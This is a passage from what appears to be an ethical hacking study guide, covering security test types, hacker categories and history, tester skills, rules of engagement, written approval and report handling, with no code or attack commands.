&lt;br /&gt;
The test is unbiased as the designer and the tester are independent of 
each other. The tester has no prior knowledge of the network or target 
being examined. Therefore  there are no preset thoughts or ideas about 
the function of the network. A wide range of resonances work and are 
typically done to footprint the organization, which can help identify 
information leakage. The test examines the target in much the same way 
as an external attacker. &lt;br /&gt;
&lt;br /&gt;
The disadvantages of blackbox testing include &lt;br /&gt;
It can take more time to perform the security tests. &lt;br /&gt;
It is usually more expensive as it takes more time to perform. &lt;br /&gt;
It focuses only on what external attackers see, while in reality, most attacks are launched by insiders. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Full Knowledge Testing (Whitebox) &lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Whitebox testing takes the opposite approach of blackbox testing. This 
form of security test takes the premise that the security tester has 
full knowledge of the network, systems, and infrastructure. This 
information allows the security tester to follow a more structured 
approach and not only review the information that has been provided but 
also verify its accuracy. So, although blackbox testing will typically 
spend more time gathering information, whitebox testing will spend that 
time probing for vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Partial Knowledge Testing (Graybox)&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
In the world of software testing, graybox testing is described as a 
partial knowledge test. EC-Council literature describes graybox testing 
as a form of internal test. Therefore, the goal is to determine what 
insiders can access. This form of test might also prove useful to the 
organization as so many attacks are launched by insiders.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Types of Security Tests&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
State security testing methodologies &lt;br /&gt;
&lt;br /&gt;
Several different types of security tests can be performed. These can 
range from those that merely examine policy to those that attempt to 
hack in from the Internet and mimic the activities of true hackers. 
These security tests are also known by many names, including &lt;br /&gt;
&lt;br /&gt;
Vulnerability Testing &lt;br /&gt;
Network Evaluations &lt;br /&gt;
Red Team Exercises &lt;br /&gt;
Penetration Testing &lt;br /&gt;
Host Vulnerability Assessment &lt;br /&gt;
Vulnerability Assessment &lt;br /&gt;
Ethical Hacking &lt;br /&gt;
&lt;br /&gt;
No matter what the security test is called, it is carried out to make a 
systematic examination of an organization’s network, policies, and 
security controls. Its purpose is to determine the adequacy of security 
measures, identify security deficiencies, provide data from which to 
predict the effectiveness of potential security measures, and confirm 
the adequacy of such measures after implementation. Security tests can 
be defined as one of three types, which include highlevel assessments, 
network evaluations, and penetration tests. Each is described as 
follows: &lt;br /&gt;
&lt;br /&gt;
High-level assessments&lt;blockquote&gt;
Also called a level I assessment, it 
is a top-down look at the organization’s policies, procedures, and 
guidelines. This type of vulnerability assessment does not include any 
hands-on testing. The purpose of a top-down assessment is to answer 
three questions: Do the applicable policies exist?&lt;/blockquote&gt;
Are they being followed? &lt;br /&gt;
Is there content sufficient to guard against potential risk? &lt;br /&gt;
&lt;br /&gt;
Network evaluations&lt;blockquote&gt;
Also called a level II assessment, it has
 all the elements specified in a level I assessment plus includes 
hands-on activities. These hands-on activities would include information
 gathering, scanning, vulnerability assessment scanning, and other 
hands-on activities. Throughout this book, tools and techniques used to 
perform this type of assessment are discussed.&lt;/blockquote&gt;
Penetration tests&lt;blockquote&gt;
Unlike
 assessments and evaluations, penetration tests are adversarial in 
nature. Penetration tests are also referred to as level III assessments.
 These events typically take on an adversarial role and look to see what
 the outsider can access and control. Penetration tests are less 
concerned with policies and procedures and are more focused on finding 
low hanging fruit and seeing what a hacker can accomplish on this 
network.&lt;/blockquote&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Just remember that penetration tests are not fully effective if an 
organization does not have the policies and procedures in place to 
control security. Without adequate policies and procedures, it’s almost 
impossible to implement real security. Documented controls are required.
 &lt;br /&gt;
&lt;br /&gt;
How do ethical hackers play a role in these tests? That’s the topic of the next section.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Hacker and Cracker Descriptions&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Discuss malicious hackers &lt;br /&gt;
&lt;br /&gt;
To understand your role as an ethical hacker, it is important to know 
the players. Originally, the term hacker was used for a computer 
enthusiast. A hacker was a person who enjoyed understanding the internal
 workings of a system, computer, and computer network. Over time, the 
popular press began to describe hackers as individuals who broke into 
computers with malicious intent. The industry responded by developing 
the word cracker, which is short for criminal hacker. The term cracker 
was developed to describe individuals who seek to compromise the 
security of a system without permission from an authorized party. With 
all this confusion over how to distinguish the good guys from the bad 
guys, the term ethical hacker was coined. An ethical hacker is an 
individual who performs security tests and other vulnerability 
assessment activities to help organizations secure their 
infrastructures. Sometimes ethical hackers are referred to as White Hat 
Hackers.&lt;br /&gt;
&lt;br /&gt;
Hacker motives and intentions vary. Some hackers are strictly 
legitimate, whereas others routinely break the law. Let’s look at some 
common categories: &lt;br /&gt;
&lt;br /&gt;
Whitehat Hackers&lt;blockquote&gt;
These individuals perform ethical hacking to
 help secure companies and organizations. Their belief is that you must 
examine your network in the same manner as a criminal hacker to better 
understand its vulnerabilities. Reformed Blackhat Hackers — These 
individuals often claim to have changed their ways and that they can 
bring special insight into the ethical hacking methodology.&lt;/blockquote&gt;
Grayhat Hackers —&lt;blockquote&gt;
These
 individuals typically follow the law but sometimes venture over to the 
darker side of blackhat hacking. It would be unethical to employ these 
individuals to perform security duties for your organization as you are 
never quite clear where they stand.&lt;/blockquote&gt;
Who Attackers Are &lt;br /&gt;
Ethical hackers are up against several individuals in the battle to 
secure the network. The following list presents some of the more 
commonly used terms for these attackers: &lt;br /&gt;
&lt;br /&gt;
Phreakers —&lt;blockquote&gt;
The original hackers. These individuals hacked 
telecommunication and PBX systems to explore the capabilities and make 
free phone calls. Their activities include physical theft, stolen 
calling cards, access to telecommunication services, reprogramming of 
telecommunications equipment, and compromising userids and passwords to 
gain unauthorized use of facilities, such as phone systems and voice 
mail.&lt;/blockquote&gt;
Script/Click Kiddies —&lt;blockquote&gt;
A term used to 
describe often younger attackers who use widely available freeware 
vulnerability assessment tools and hacking tools that are designed for 
attacking purposes only. These attackers typically do not have any 
programming or hacking skills and, given the techniques used by most of 
these tools, can be defended against with the proper security controls 
and risk mitigation strategies.&lt;/blockquote&gt;
Disgruntled Employee —&lt;blockquote&gt;
Employees
 who have lost respect and integrity for the employer. These individuals
 might or might not have more skills than the script kiddie. Many times,
 their rage and anger blind them. They rank as a potentially high risk 
because they have insider status, especially if access rights and 
privileges were provided or managed by the individual.&lt;/blockquote&gt;
Whackers —&lt;blockquote&gt;
Whackers are typically newbies who focus their limited skills and abilities on attacking wireless LANs and WANs. &lt;/blockquote&gt;
Software Cracker/Hacker —&lt;blockquote&gt;
Individualswho
 have skills in reverse engineering software programs and, in 
particular, licensing registration keys used by software vendors when 
installing software onto workstations or servers. Although many 
individuals are eager to partake of their services, anyone who downloads
 programs with cracked registration keys are breaking the law and can be
 a greater potential risk and subject to malicious code and malicious 
software threats that might have been injected into the code.&lt;/blockquote&gt;
Cyber-Terrorists/Cyber-Criminals&lt;blockquote&gt;
An
 increasing category of threat that can be used to describe individuals 
or groups of individuals who are typically funded to conduct clandestine
 or espionage activities on governments, corporations, and individuals 
in an unlawful manner. These individuals are typically engaged in 
sponsored acts of defacement; DoS/DDoS attacks identify theft, financial
 theft, or worse, compromising critical infrastructures in countries, 
such as nuclear power plants, electric plants, water plants, and so on. &lt;/blockquote&gt;
System Cracker/Hacker —&lt;blockquote&gt;
Elite
 hackers who have specific expertise in attacking vulnerabilities of 
systems and networks by targeting operating systems. These individuals 
get the most attention and media coverage because of the globally 
affected viruses, worms, and Trojans that are created by System 
Crackers/Hackers. System Crackers/Hackers perform interactive probing 
activities to exploit security defects and security flaws in network 
operating systems and protocols.&lt;/blockquote&gt;
Now that you have an idea 
who the legitimate security professionals are up against, let’s briefly 
discuss some of the better known crackers and hackers. &lt;br /&gt;
&lt;br /&gt;
Hacker and Cracker History &lt;br /&gt;
&lt;br /&gt;
The well-known hackers of today grew out of the phone phreaking 
activities of the 1960s. In 1969, Mark Bernay, also known as “The 
Midnight Skulker,” wrote a computer program that allowed him to read 
everyone else’s ID and password at the organization where he worked. 
Although he was eventually fired, no charges were ever filed, as 
computer crime was so new, there were no laws against it. &lt;br /&gt;
&lt;br /&gt;
Computer innovators include:&lt;br /&gt;
&lt;br /&gt;
Steve Wozniak and Steve Jobs —&lt;blockquote&gt;
Members of the Homebrew 
Computer Club of Palo Alto. John Draper was also a member of this early 
computer club. Wozniak and Jobs went on to become co-founders of Apple 
Computer.&lt;/blockquote&gt;
Dennis Ritchie and Ken Thompson —&lt;blockquote&gt;
While not criminal hackers, their desire for discovery led to the development of UNIX in 1969 while working at Bell Labs. &lt;/blockquote&gt;
Well-known hackers and phreakers include: &lt;br /&gt;
&lt;br /&gt;
John Draper —&lt;blockquote&gt;
Dubbed “Captain Crunch” for finding that a toy 
whistle shipped in boxes of Captain Crunch cereal had the same frequency
 as the trunking signal of AT&amp;amp;T, 2,600Hz. This discovery was made 
with the help of Joe Engressia. Although Joe was blind, he could whistle
 into a phone and produce a perfect 2,600Hz frequency. This tone was 
useful for placing free long distance phone calls.&lt;/blockquote&gt;
Mark Abene —&lt;blockquote&gt;
Known
 as Phiber Optik. Mark helped form the “Masters of Deception” in 1990. 
Before being arrested in 1992, they fought an extended battle with 
“Legion of Doom.”&lt;/blockquote&gt;
Kevin Poulsen —&lt;blockquote&gt;
Known asDark 
Dante. Kevin took over all phones in Los Angeles in 1990 to ensure 
victory in a phone “call-in contest,” for a Porsche 944. He was later 
arrested.&lt;/blockquote&gt;
Robert Morris —&lt;blockquote&gt;
The son of a chief 
scientist at the NSA. Morris accidentally released the “Morris Worm” in 
1988 from a Cornell University lab. This is now widely seen as the first
 release of a worm onto the Internet.&lt;/blockquote&gt;
Kevin Mitnick —&lt;blockquote&gt;
Known
 as “Condor,” Mitnick was the first hacker to hit the FBI Most Wanted 
list. Broke into such organizations as Digital Equipment Corp., 
Motorola, Nokia Mobile Phones, Fujitsu, and others. He was arrested in 
1994 and has now been released and works as a legitimate security 
consultant.&lt;/blockquote&gt;
Vladimir Levin —&lt;blockquote&gt;
A Russian hacker who
 led a team of hackers who siphoned off $10 million from Citibank and 
transferred the money to bank accounts around the world. Levin 
eventually stood trial in the United States and was sentenced to three 
years in prison. Authorities recovered all but $400,000.00 of the stolen
 money.&lt;/blockquote&gt;
Adrian Lamo —&lt;blockquote&gt;
Known asthe “Homeless 
Hacker” because of his transient lifestyle. Lamo spent his days 
squatting in abandoned buildings and traveling to Internet cafes, 
libraries, and universities to exploit security weaknesses in 
high-profile company networks, such as Microsoft, NBC, and the New York 
Times. He was eventually fined and prosecuted for the New York Times 
hack.&lt;/blockquote&gt;
Although this list does not include all the hackers, 
crackers, and innovators of the computer field, it should give you an 
idea of some of the people who have made a name for themselves in this 
industry. Let’s now talk more about ethical hackers.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Ethical Hackers&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Define ethical hacking &lt;br /&gt;
&lt;br /&gt;
Ethical hackers perform penetration tests. They perform the same 
activities a hacker would but without malicious intent. They must work 
closely with the host organization to understand what the organization 
is trying to protect, who they are trying to protect these assets from, 
and how much money and resources the organization is willing to expend 
to protect the assets. &lt;br /&gt;
&lt;br /&gt;
By following a methodology similar to that of an attacker, ethical 
hackers seek to see what type of public information is available about 
the organization. Information leakage can reveal critical details about 
an organization, such as its structure, assets, and defensive 
mechanisms. After the ethical hacker gathers this information, it will 
be evaluated to determine whether it poses any potential risk. The 
ethical hacker further probes the network at this point to test for any 
unseen weaknesses. &lt;br /&gt;
&lt;br /&gt;
Penetration tests are sometimes performed in a double blind environment.
 This means that the internal security team has not been informed of the
 penetration test. This serves as an important purpose, allowing 
management to gauge the security team’s responses to the ethical 
hacker’s probing and scanning. Do they notice the probes or have the 
attempted attacks gone unnoticed? Now that the activities performed by 
ethical hackers have been described, let’s spend some time discussing 
the skills that ethical hackers need, the different types of security 
tests that ethical hackers perform, and the ethical hacker rules of 
engagement. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Required Skills of an Ethical Hacker&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Describe ethical hackers and their duties &lt;br /&gt;
&lt;br /&gt;
Ethical hackers need hands-on security skills. Although you do not have 
to be an expert in everything, you should have an area of expertise. 
Security tests are typically performed by teams of individuals, where 
each individual typically has a core area of expertise. These skills 
include:&lt;br /&gt;
&lt;br /&gt;
Routers —&lt;blockquote&gt;
Knowledgeof routers, routing protocols, and access 
control lists (ACLs). Certifications such a Cisco Certified Network 
Associate (CCNA) or Cisco Certified Internetworking Expert (CCIE) can be
 helpful.&lt;/blockquote&gt;
Microsoft —&lt;blockquote&gt;
Skills in the operation, 
configuration, and management of Microsoft-based systems. These can run 
the gamut from Windows NT to Windows 2003. These individuals might be 
Microsoft Certified Administrator (MCSA) or Microsoft Certified Security
 Engineer (MCSE) certified.&lt;/blockquote&gt;
Linux —&lt;blockquote&gt;
A good 
understanding of the Linux/UNIX OS. This includes security setting, 
configuration, and services such as Apache. These individuals may be Red
 Hat, or Linux+ certified.&lt;/blockquote&gt;
Firewalls —&lt;blockquote&gt;
Knowledge 
of firewall configuration and the operation of intrusion detection 
systems (IDS) and intrusion prevention systems (IPS) can be helpful when
 performing a security test. Individuals with these skills may be 
certified in Cisco Certified Security Professional (CCSP) or Checkpoint 
Certified Security Administrator (CCSA).&lt;/blockquote&gt;
Mainframes —&lt;blockquote&gt;
Although
 mainframes do not hold the position of dominance they once  had in 
business, they still are widely used. If the organization being assessed
 has mainframes, the security teams would benefit from having someone 
with that skill set on the team.&lt;/blockquote&gt;
Network protocols —&lt;blockquote&gt;
Most
 modern networks are Transmission Control Protocol/ Internet Protocol 
(TCP/IP), although you might still find the occasional network that uses
 Novell or Apple routing information. Someone with good knowledge of 
networking protocols, as well as how these protocols function and can be
 manipulated, can play a key role in the team. These individuals may 
possess certifications in other OSes, hardware, or even posses a 
Network+ or Security+ certification.&lt;/blockquote&gt;
Project management —&lt;blockquote&gt;
Someone
 will have to lead the security test team, and if you are chosen to be 
that person, you will need a variety of the skills and knowledge types 
listed previously. It can also be helpful to have good project 
management skills. After all, you will be leading, planning, organizing,
 and controlling the penetration test team. Individuals in this role may
 benefit from having Project Management Professional (PMP) 
certification.&lt;/blockquote&gt;
On top of all this, ethical hackers need to 
have good report writing skills and must always try to stay abreast of 
current exploits, vulnerabilities, and emerging threats as their goals 
are to stay a step ahead of malicious hackers.&lt;br /&gt;
&lt;br /&gt;
Modes of Ethical Hacking &lt;br /&gt;
&lt;br /&gt;
With all this talk of the skills that an ethical hacker must have, you 
might be wondering how the ethical hacker can put these skills to use. 
An organization’s IT infrastructure can be probed, analyzed, and 
attacked in a variety of ways. Some of the most common modes of ethical 
hacking are shown here: &lt;br /&gt;
&lt;br /&gt;
Insider attack —&lt;blockquote&gt;
This ethical hack simulates the types of 
attacks and activities that could be carried out by an authorized 
individual with a legitimate connection to the organization’s network.&lt;/blockquote&gt;
Outsider attack —&lt;blockquote&gt;
This
 ethical hack seeks to simulate the types of attacks that could be 
launched across the Internet. It could target Hypertext Transfer 
Protocol (HTTP), Simple Mail Transfer Protocol (SMTP), Structured Query 
Language (SQL), or any other available service.&lt;/blockquote&gt;
Stolen equipment attack —&lt;blockquote&gt;
This
 simulation is closely related to a physical attack as it targets the 
organization’s equipment. It could seek to target the CEO’s laptop or 
the organization’s backup tapes. No matter what the target, the goal is 
the same — extract critical information, usernames, and passwords.&lt;/blockquote&gt;
Physical entry —&lt;blockquote&gt;
This
 simulationseeks to test the organization’s physical controls. Systems 
such as doors, gates, locks, guards, closed circuit television (CCTV), 
and alarms are tested to see whether they can be bypassed.&lt;/blockquote&gt;
Bypassed authentication attack —&lt;blockquote&gt;
This
 simulation is tasked with looking for wireless access points (WAP) and 
modems. The goal is to see whether these systems are secure and offer 
sufficient authentication controls. If the controls can be bypassed, the
 ethical hacker might probe to see what level of system control can be 
obtained. &lt;/blockquote&gt;
Social engineering attack —&lt;blockquote&gt;
This 
simulation does not target technical systems or physical access. Social 
engineering attacks target the organization’s employees and seek to 
manipulate them to gain privileged information. Proper controls, 
policies, and procedures can go a long way in defeating this form of 
attack.&lt;/blockquote&gt;
Rules of Engagement —&lt;blockquote&gt;
Every ethical 
hacker must abide by a few simple rules when performing the tests 
described previously. If not, bad things can happen to you, which might 
include loss of job, civil penalty, or even jail time. &lt;/blockquote&gt;
Never exceed the limits of your authorization —&lt;blockquote&gt;
Every
 assignment will have rules of engagement. These not only include what 
you are authorized to target, but also the extent that you are 
authorized to control such system. If you are only authorized to obtain a
 prompt on the target system, downloading passwords and starting a crack
 on these passwords would be in excess of what you have been authorized 
to do. &lt;/blockquote&gt;
The tester should protect himself by setting up 
limitation as far as damage is concerned. There has to be an NDA between
 the client and the tester to protect them both. There is a good example
 of a get out of jail document at &lt;br /&gt;
&lt;br /&gt;
HYPERLINK &quot;http://www.professionalsecuritytesters.org/modules.php?name=Downloads&amp;amp;d_op=viewdownload&amp;amp;cid=1  &quot; &lt;a href=&quot;http://www.professionalsecuritytesters.org/modules.php?name=Downloads&amp;amp;d_op=viewdownload&amp;amp;cid=1&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.professionalsecurityteste...download&amp;amp;cid=1&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
Be ethical —&lt;blockquote&gt;
That’s right; the big difference between a 
hacker and an ethical hacker is the word ethics. Ethics is a set of 
moral principles about what is correct or the right thing to do. Ethical
 standards are sometimes different from legal standards in that laws 
define what we must do, whereas ethics define what we should do.&lt;/blockquote&gt;
The OSSTMM — An Open Methodology&lt;br /&gt;
&lt;br /&gt;
In December 2001, the Open Source Security Testing Methodology Manual 
(OSSTMM) began. Hundreds of people contributed knowledge, experience, 
and peer-review to the project. Eventually, as the only publicly 
available methodology that tested security from the bottom of operations
 and up (as opposed to from the policy on down), it received the 
attention of businesses, government agencies, and militaries around the 
world. It also scored success with little security startups and 
independent ethical hackers who wanted a public source for client 
assurance of their security testing services. The primary purpose of the
 OSSTMM is to provide a scientific methodology for the accurate 
characterization of security through examination and correlation in a 
consistent and reliable way. Great effort has been put into the OSSTMM 
to assure reliable cross-reference to current security management 
methodologies, tools, and resources. This manual is adaptable to 
penetration tests, ethical hacking, security assessments, vulnerability 
assessments, red-teaming, blue-teaming, posture assessments, and 
security audits. Your primary purpose for using it should be to 
guarantee facts and factual responses, which in turn assures your 
integrity as a tester and the organization you are working for, if any. 
The end result is a strong, focused security test with clear and concise
 reporting. &lt;a href=&quot;http://www.isecom.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.isecom.org&lt;/a&gt;
 is the main site for the nonprofit organization, ISECOM, maintaining 
the OSSTMM and many other projects. This “in the field” segment was 
contributed by Pete Herzog, Managing Director, ISECOM. &lt;br /&gt;
&lt;br /&gt;
Maintain confidentiality —&lt;blockquote&gt;
During security evaluations, you 
will likely be exposed to many types of confidential information. You 
have both a legal and moral standard to treat this information with the 
utmost privacy. This information should not be shared with third parties
 and should not be used by you for any unapproved purposes. There is an 
obligation to protect the information sent between the tester and the 
client. This has to be specified in the agreement.&lt;/blockquote&gt;
Do no harm —&lt;blockquote&gt;
It’s
 ofutmost importance that you do no harm to the systems you test. Again,
 a major difference between a hacker and an ethical hacker is that you 
should do no harm. Misused, security tools can lock out critical 
accounts, cause denial of service (DoS), and crash critical servers or 
applications. Care should be taken to prevent these events unless that 
is the goal of the test.&lt;/blockquote&gt;
Test Plans — Keeping It Legal &lt;br /&gt;
&lt;br /&gt;
Most of us probably make plans before we take a big trip or vacation. We
 think about what we want to see, how we plan to spend our time, what 
activities are available, and how much money we can spend and not regret
 it when the next credit card bill arrives. Ethical hacking is much the 
same minus the credit card bill. Many details need to be worked out 
before a single test is performed. If you or your boss is tasked with 
managing this project, some basic questions need to be answered, such as
 what’s the scope of the assessment, what are the driving events, what 
are the goals of the assessment, what will it take to get approval, and 
what’s needed in the final report. &lt;br /&gt;
&lt;br /&gt;
Before an ethical hack test can begin, the scope of the engagement must be determined. &lt;br /&gt;
&lt;br /&gt;
Defining the scope of the assessment is one of the most important parts 
of the ethical hacking process. At some point, you will be meeting with 
management to start the discussions of the how and why of the ethical 
hack. Before this meeting ever begins, you will probably have some idea 
what management expects this security test to accomplish. Companies that
 decide to perform ethical hacking activities don’t do so in a vacuum. 
You need to understand the business reasons behind this event. Companies
 can decide to perform these tests for various reasons. &lt;br /&gt;
&lt;br /&gt;
Some of the most common reasons are listed as follows: &lt;br /&gt;
&lt;br /&gt;
A breach in security - One or more events has occurred that has 
highlighted a lapse in security. It could be that an insider was able to
 access data that should have been unavailable to him, or it could be 
that an outsider was able to hack the organization’s web server. &lt;br /&gt;
&lt;br /&gt;
Compliance with state, federal, regulatory, or other law or mandate — 
Compliance with state or federal laws is another event that might be 
driving the assessment. Companies can face huge fines and potential jail
 time if they fail to comply with state and federal laws. The 
Gramm-Leach-Bliley Act (GLBA), Sarbanes-Oxley (SOX), and Health 
Insurance Portability and Accountability Act (HIPAA) are three such 
laws. HIPAA requires organizations to perform a vulnerability 
assessment. Your organization might decide to include ethical hacking 
into this test regime.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
One such standard that the organization might be attempting to comply 
with is ISO 17799. This information security standard was first 
published in December 2000 by the International Organization for 
Standardization and the International Electrotechnical Commission. This 
code of practice for information security management is considered a 
security standard benchmark. &lt;br /&gt;
. Security Policy &lt;br /&gt;
. Security Organization &lt;br /&gt;
. Asset Control and Classification &lt;br /&gt;
. Environmental and Physical Security &lt;br /&gt;
. Employee Security &lt;br /&gt;
. Computer and Network Management &lt;br /&gt;
. Access Controls &lt;br /&gt;
. System Development and Maintenance &lt;br /&gt;
. Business Continuity Planning &lt;br /&gt;
. Compliance &lt;br /&gt;
&lt;br /&gt;
Due diligence — Due diligence is another one of the reasons a company 
might decide to perform a penetration test. The new CEO might want to 
know how good the organization’s security systems really are, or it 
could be that the company is scheduled to go through a merger or is 
acquiring a new firm. If so, the penetration test might occur  before 
the purchase or after the event. These assessments are usually going to 
be held to a strict timeline. There is only a limited amount of time 
before the purchase and if performed afterward, the organization will 
probably be in a hurry to integrate the two networks as soon as 
possible. &lt;br /&gt;
&lt;br /&gt;
Test Phases &lt;br /&gt;
&lt;br /&gt;
Security assessments in which ethical hacking activities will take place
 are composed of three phases. These include the scoping of the 
assessment in which goals and guidelines are established, performing the
 assessment, and performing post assessment activities. The post 
assessment activities are when the report and remediation activities 
would occur. Figure 1.2 shows the three phases of the assessment and 
their typical times. &lt;br /&gt;
&lt;br /&gt;
Establishing Goals &lt;br /&gt;
&lt;br /&gt;
The need to establish goals is also critical. Although you might be 
ready to jump in and begin hacking, a good plan will detail the goals 
and objectives of the test. Some common goals include system 
certification and accreditation, verification of policy compliance, and 
proof that the IT infrastructure has the capability to defend against 
technical attacks. &lt;br /&gt;
&lt;br /&gt;
Are the goals to certify and accredit the systems being tested? 
Certification is a technical evaluation of the system that can be 
carried out by independent security teams or by the existing staff. Its 
goal is to uncover any vulnerabilities or weaknesses in the 
implementation. Your goal will be to test these systems to make sure 
that they are configured and operating as expected, that they are 
connected to and communicate with other systems in a secure and 
controlled manner, and that they handle data in a secure and approved 
manner.&lt;br /&gt;
 &lt;br /&gt;
If the goals of the penetration test are to determine whether current 
policies are being followed, the test methods and goals might be 
somewhat different. The security team will be looking at the controls 
implemented to protect information being stored, being transmitted, or 
being processed. This type of security test might not have as much 
hands-on hacking, but might use more social engineering techniques and 
testing of physical controls. You might even direct one of the team 
members to perform a little dumpster diving. &lt;br /&gt;
&lt;br /&gt;
The goal of a technical attack might be to see what an insider or 
outsider can access. Your goal might be to gather information as an 
outsider and then use that data to launch an attack against a web server
 or externally accessible system. &lt;br /&gt;
&lt;br /&gt;
Regardless of what type of test you are asked to perform, there are some
 basic questions you can ask to help establish the goals and objectives 
of the tests. These include the following: &lt;br /&gt;
&lt;br /&gt;
What is the organization’s mission? &lt;br /&gt;
What specific outcomes does the organization expect? &lt;br /&gt;
What is the budget? &lt;br /&gt;
When will tests be performed — during work hours, after hours, or weekends? &lt;br /&gt;
How much time will the organization commit to completing the security evaluation? &lt;br /&gt;
Will insiders be notified? &lt;br /&gt;
Will customers be notified? &lt;br /&gt;
How far will the test proceed? Root the box, gain a prompt, or attempt to retrieve another prize, such as the CEO’s password. &lt;br /&gt;
Who do you contact should something go wrong? &lt;br /&gt;
What are the deliverables? &lt;br /&gt;
What outcome is management seeking from these tests?&lt;br /&gt;
&lt;br /&gt;
Getting Approval &lt;br /&gt;
&lt;br /&gt;
Getting approval is a critical event in the testing process. Before any 
testing actually begins, you need to make sure that you have a plan that
 has been approved in writing. If this is not done, you and your team 
might face unpleasant consequences, which might include being fired or 
even criminal charges.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Written approval is the most critical step of the testing process. You should never perform any tests without written approval. &lt;br /&gt;
&lt;br /&gt;
If you are an independent consultant, you might also get insurance 
before starting any type of test. Umbrella policies and those that cover
 errors and omissions are commonly used. These types of liability 
policies can help protect you should anything go wrong. To help make 
sure that the approval process goes smoothly, you should make sure that 
someone is the champion of this project. This champion or project 
sponsor is the lead contact to upper management and your contact person.
 Project sponsors can be instrumental in helping you gain permission to 
begin testing and also to provide you with thefunding and materials 
needed to make this a success.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Management support is critical in a security test to be successful (or in Kartik and Travis’ case, from being expeled). &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Ethical Hacking Report&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Describe test deliverables &lt;br /&gt;
&lt;br /&gt;
Although we have not actually begun testing, you do need to start 
thinking about the final report. Throughout the entire process, you 
should be in close contact with management to keep them abreast of your 
findings. There shouldn’t be any big surprises when you submit the 
report. While you might have found some serious problems, they should be
 discussed with management before the report is written and submitted. 
The goal is to keep them in the loop and advised of the status of the 
assessment. If you find items that present a critical vulnerability, you
 should stop all tests and immediately inform management. Your priority 
should always be the health and welfare of the organization. &lt;br /&gt;
&lt;br /&gt;
The report itself should detail the results of what was found. 
Vulnerabilities should be discussed as should the potential risk they 
pose. Although people aren’t fired for being poor report writers, don’t 
expect to be promoted or praised for your technical findings if the 
report doesn’t communicate your findings clearly. The report should 
present the results of the assessment in an easy, understandable, and 
fully traceable way. The report should be comprehensive and 
self-contained. Most reports contain the following sections: &lt;br /&gt;
&lt;br /&gt;
Introduction &lt;br /&gt;
Statement of work performed &lt;br /&gt;
Results and conclusions &lt;br /&gt;
Recommendations &lt;br /&gt;
&lt;br /&gt;
Since most companies are not made of money and cannot secure everything,
 you should rank your recommendations so that the ones with the highest 
risk/highest probability are at the top of the list. &lt;br /&gt;
&lt;br /&gt;
The report needs to be adequately secured while in electronic storage. 
Encryption should be used. The printed copy of the report should be 
marked “Confidential” and while in its printed form, care should be 
taken to protect the report from unauthorized individuals. You have an 
ongoing responsibility to ensure the safety of the report and all 
information gathered. Most consultants destroy reports and all test 
information after a contractually obligated period of time. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TIP&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
The report is a piece of highly sensitive material and should be protected in storage and when in printed form. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Ethics and Legality&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Know the laws dealing with computer crimes and their implications Recent
 FBI reports on computer crime indicate that unauthorized computer use 
in 2005 was reported at 56 percent of U.S. companies surveyed. This is 
an increase of 3 percent from 2004. Various website attacks were up 6 
percent from 2004. These figures indicate that computer crime caused by 
hackers continues to increase. A computer or network can become the 
victim of a crime committed by a hacker. Hackers use computers as a tool
 to commit a crime or to plan, track, and control a crime against other 
computers or networks. Your job as an ethical hacker is to find 
vulnerabilities before the attackers do and help prevent them from 
carrying out malicious activities. Tracking and prosecuting hackers can 
be a difficult job as international law is often ill-suited to deal with
 the problem. Unlike conventional crimes that occur in one location, 
hacking crimes might originate in India, use a system based in 
Singapore, and target a computer network located in Canada. Each country
 has conflicting views on what constitutes cyber crime. Even if hackers 
can be punished, attempting to do so can be a legal nightmare. It is 
hard to apply national borders to a medium such as the Internet that is 
essentially borderless.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Some individuals approach computing and hacking from the social 
perspective and believethat hacking can promote change. These 
individuals are known as hactivists, these “hacker activists” use 
computers and technology for hi-tech campaigning and social change. They
 believe that defacing websites and hacking servers is acceptable as 
long as it promotes their goals. Regardless of their motives, hacking 
remains illegal and they are subject to the same computer crime laws as 
any other criminal. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Overview of U.S. Federal Laws &lt;br /&gt;
